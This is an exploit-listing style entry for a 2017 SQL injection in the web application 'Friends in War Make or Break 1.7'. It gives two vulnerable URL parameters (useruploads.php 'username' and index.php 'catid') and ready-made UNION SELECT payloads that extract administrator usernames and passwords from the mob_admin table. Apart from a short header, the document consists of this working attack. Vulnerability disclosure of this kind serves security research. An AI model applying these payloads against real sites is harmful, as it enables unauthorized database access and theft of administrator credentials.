18 lines
No EOL
648 B
Text
18 lines
No EOL
648 B
Text
# # # # #
|
|
# Exploit Title: Friends in War Make or Break 1.7 SQL Injection
|
|
# Dork: N/A
|
|
# Date: 26.07.2017
|
|
# Vendor : http://software.friendsinwar.com/
|
|
# Software: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=9
|
|
# Demo: http://localhost/[PATH]/
|
|
# Version: 1.7
|
|
# # # # #
|
|
# Author: Ihsan Sencan
|
|
# # # # #
|
|
# SQL Injection/Exploit :
|
|
# http://localhost/[PATH]/useruploads.php?username=[SQL]
|
|
# -sie'+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+mob_admin--+-
|
|
# http://localhost/[PATH]/index.php?catid=SQL]
|
|
# 1+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+mob_admin--+-
|
|
# Etc..
|
|
# # # # # |